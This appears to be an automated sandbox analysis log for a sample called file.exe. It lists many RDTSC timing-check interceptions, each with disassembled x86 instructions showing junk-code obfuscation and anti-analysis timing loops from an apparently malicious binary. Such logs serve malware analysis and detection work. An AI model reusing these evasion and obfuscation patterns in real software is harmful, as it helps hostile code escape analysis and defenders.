Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108C2 second address: 4A108C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108C8 second address: 4A108CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10912 second address: 4A10916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10916 second address: 4A1091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1091C second address: 4A10063 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F1910516D60h 0x0000000f leave 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1910516D5Eh 0x00000017 sbb eax, 5FFADFF8h 0x0000001d jmp 00007F1910516D5Bh 0x00000022 popfd 0x00000023 mov dh, cl 0x00000025 popad 0x00000026 retn 0004h 0x00000029 nop 0x0000002a sub esp, 04h 0x0000002d xor ebx, ebx 0x0000002f cmp eax, 00000000h 0x00000032 je 00007F1910516EA3h 0x00000038 xor eax, eax 0x0000003a mov dword ptr [esp], 00000000h 0x00000041 mov dword ptr [esp+04h], 00000000h 0x00000049 call 00007F1914E652EBh 0x0000004e mov edi, edi 0x00000050 pushad 0x00000051 movzx ecx, bx 0x00000054 call 00007F1910516D63h 0x00000059 pushfd 0x0000005a jmp 00007F1910516D68h 0x0000005f sbb si, 4648h 0x00000064 jmp 00007F1910516D5Bh 0x00000069 popfd 0x0000006a pop ecx 0x0000006b popad 0x0000006c push ebx 0x0000006d jmp 00007F1910516D64h 0x00000072 mov dword ptr [esp], ebp 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10063 second address: 4A10067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10067 second address: 4A1006D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1006D second address: 4A10073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10073 second address: 4A10077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10077 second address: 4A100D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F19111E380Ah 0x0000000f push FFFFFFFEh 0x00000011 pushad 0x00000012 call 00007F19111E380Eh 0x00000017 pop ebx 0x00000018 pushfd 0x00000019 jmp 00007F19111E380Eh 0x0000001e add ah, 00000068h 0x00000021 jmp 00007F19111E380Bh 0x00000026 popfd 0x00000027 popad 0x00000028 push 56CEDDF1h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F19111E3812h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A100D5 second address: 4A10124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 205443B9h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F1910516D64h 0x00000017 or esi, 12F07228h 0x0000001d jmp 00007F1910516D5Bh 0x00000022 popfd 0x00000023 popad 0x00000024 push 6B87351Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov eax, ebx 0x0000002e mov edx, 6F69D36Eh 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10124 second address: 4A10133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E380Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10133 second address: 4A1015C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 1D121E6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cl, 05h 0x00000014 call 00007F1910516D63h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10275 second address: 4A1027B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1027B second address: 4A1027F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1027F second address: 4A1028E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1028E second address: 4A10292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10292 second address: 4A10298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10298 second address: 4A1029E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1029E second address: 4A1031E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F19111E3816h 0x0000000e mov dword ptr [esp], edi 0x00000011 jmp 00007F19111E3810h 0x00000016 mov eax, dword ptr [769B4538h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F19111E380Dh 0x00000024 and cl, FFFFFFC6h 0x00000027 jmp 00007F19111E3811h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F19111E3810h 0x00000033 adc cx, C368h 0x00000038 jmp 00007F19111E380Bh 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1031E second address: 4A1039F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c jmp 00007F1910516D5Eh 0x00000011 xor eax, ebp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F1910516D67h 0x0000001a sbb ch, FFFFFFBEh 0x0000001d jmp 00007F1910516D69h 0x00000022 popfd 0x00000023 mov edi, eax 0x00000025 popad 0x00000026 nop 0x00000027 pushad 0x00000028 mov ebx, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F1910516D62h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1039F second address: 4A103CE instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F19111E380Ch 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F19111E3817h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A103CE second address: 4A103F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A103F4 second address: 4A103F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A103F8 second address: 4A103FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A103FE second address: 4A104C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007F19111E3816h 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 pushad 0x0000001a call 00007F19111E380Eh 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 pushfd 0x00000023 jmp 00007F19111E3811h 0x00000028 xor ecx, 3626D5D6h 0x0000002e jmp 00007F19111E3811h 0x00000033 popfd 0x00000034 popad 0x00000035 mov eax, dword ptr fs:[00000018h] 0x0000003b pushad 0x0000003c push ecx 0x0000003d mov si, di 0x00000040 pop ebx 0x00000041 mov al, AFh 0x00000043 popad 0x00000044 mov ecx, dword ptr [eax+00000FDCh] 0x0000004a jmp 00007F19111E3817h 0x0000004f test ecx, ecx 0x00000051 jmp 00007F19111E3816h 0x00000056 jns 00007F19111E3844h 0x0000005c pushad 0x0000005d mov si, E05Dh 0x00000061 jmp 00007F19111E380Ah 0x00000066 popad 0x00000067 add eax, ecx 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A104C6 second address: 4A104CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A104CA second address: 4A104E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F19111E3816h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A104E8 second address: 4A10538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ecx, dword ptr [ebp+08h] 0x00000008 jmp 00007F1910516D5Ch 0x0000000d test ecx, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1910516D5Dh 0x00000018 add ax, 5CB6h 0x0000001d jmp 00007F1910516D61h 0x00000022 popfd 0x00000023 call 00007F1910516D60h 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10538 second address: 4A10553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E3817h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00031 second address: 4A00041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00041 second address: 4A00045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00045 second address: 4A00078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1910516D5Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 movzx ecx, di 0x00000013 push ebx 0x00000014 mov ax, D965h 0x00000018 pop eax 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1910516D5Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00078 second address: 4A0007E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0007E second address: 4A00082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00082 second address: 4A00086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00086 second address: 4A000E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F1910516D62h 0x00000014 and si, ADD8h 0x00000019 jmp 00007F1910516D5Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F1910516D68h 0x00000025 adc esi, 1F66F838h 0x0000002b jmp 00007F1910516D5Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000E4 second address: 4A00142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2EDA805Ah 0x00000008 movsx edx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F19111E3818h 0x00000016 sub esi, 1E6431C8h 0x0000001c jmp 00007F19111E380Bh 0x00000021 popfd 0x00000022 call 00007F19111E3818h 0x00000027 mov ah, 95h 0x00000029 pop ebx 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00142 second address: 4A00158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001B0 second address: 4A001C7 instructions: 0x00000000 rdtsc 0x00000002 mov bl, ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, 04FC4F42h 0x0000000b popad 0x0000000c mov ebx, 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001C7 second address: 4A001E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001E2 second address: 4A001E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001E8 second address: 4A001EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001EC second address: 4A00248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F19111E380Ah 0x00000014 xor cl, 00000038h 0x00000017 jmp 00007F19111E380Bh 0x0000001c popfd 0x0000001d push esi 0x0000001e mov ecx, edi 0x00000020 pop edx 0x00000021 popad 0x00000022 inc ebx 0x00000023 pushad 0x00000024 mov bx, ax 0x00000027 push eax 0x00000028 mov ecx, ebx 0x0000002a pop edx 0x0000002b popad 0x0000002c test al, al 0x0000002e jmp 00007F19111E380Eh 0x00000033 je 00007F19111E3A5Dh 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F19111E380Ch 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00248 second address: 4A002C7 instructions: 0x00000000 rdtsc 0x00000002 call 00007F1910516D62h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F1910516D5Bh 0x00000010 sbb ecx, 1AFBFBBEh 0x00000016 jmp 00007F1910516D69h 0x0000001b popfd 0x0000001c popad 0x0000001d lea ecx, dword ptr [ebp-14h] 0x00000020 pushad 0x00000021 pushad 0x00000022 movsx edi, ax 0x00000025 popad 0x00000026 popad 0x00000027 mov dword ptr [ebp-14h], edi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d jmp 00007F1910516D68h 0x00000032 jmp 00007F1910516D62h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002F2 second address: 4A00324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3811h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F19111E3818h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00324 second address: 4A00328 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00328 second address: 4A0032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0032E second address: 4A0033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0033F second address: 4A00343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0037E second address: 4A0040B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 pushfd 0x00000007 jmp 00007F1910516D5Bh 0x0000000c sbb ah, FFFFFFBEh 0x0000000f jmp 00007F1910516D69h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 test eax, eax 0x0000001a jmp 00007F1910516D5Eh 0x0000001f jg 00007F1982474E22h 0x00000025 pushad 0x00000026 movzx esi, bx 0x00000029 pushfd 0x0000002a jmp 00007F1910516D63h 0x0000002f or esi, 3A84817Eh 0x00000035 jmp 00007F1910516D69h 0x0000003a popfd 0x0000003b popad 0x0000003c js 00007F1910516DE1h 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0040B second address: 4A0040F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0040F second address: 4A00422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00422 second address: 4A004E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F19111E380Eh 0x00000011 jne 00007F1983141851h 0x00000017 pushad 0x00000018 mov cl, B6h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F19111E3819h 0x00000021 adc eax, 6E40E926h 0x00000027 jmp 00007F19111E3811h 0x0000002c popfd 0x0000002d mov bh, al 0x0000002f popad 0x00000030 popad 0x00000031 mov ebx, dword ptr [ebp+08h] 0x00000034 jmp 00007F19111E3813h 0x00000039 lea eax, dword ptr [ebp-2Ch] 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F19111E3814h 0x00000043 add esi, 3C6AAD28h 0x00000049 jmp 00007F19111E380Bh 0x0000004e popfd 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F19111E3816h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A004E9 second address: 4A00513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pop esi 0x0000000c pop edi 0x0000000d jmp 00007F1910516D64h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00513 second address: 4A00518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00518 second address: 4A00538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1910516D63h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A005FE second address: 4A00602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00602 second address: 4A00608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0DCC second address: 49F0E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov eax, ebx 0x0000000d pushfd 0x0000000e jmp 00007F19111E3813h 0x00000013 adc ax, D57Eh 0x00000018 jmp 00007F19111E3819h 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F19111E380Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0E31 second address: 49F0E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0E37 second address: 49F0E82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F19111E3817h 0x00000018 sbb esi, 54C224EEh 0x0000001e jmp 00007F19111E3819h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0EB9 second address: 49F0ED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1910516D5Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0ED2 second address: 49F0ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0ED8 second address: 49F0EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0EDC second address: 49F0EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A6A second address: 4A00A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A6E second address: 4A00A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A74 second address: 4A00A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A79 second address: 4A00ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push edi 0x00000011 pop esi 0x00000012 mov dh, EDh 0x00000014 popad 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F19111E380Ah 0x0000001c mov ebp, esp 0x0000001e jmp 00007F19111E3810h 0x00000023 cmp dword ptr [769B459Ch], 05h 0x0000002a jmp 00007F19111E3810h 0x0000002f je 00007F1983131742h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push edx 0x00000039 pop eax 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00ACF second address: 4A00AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00AD5 second address: 4A00AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00B0D second address: 4A00B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 7D6Eh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00B16 second address: 4A00B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
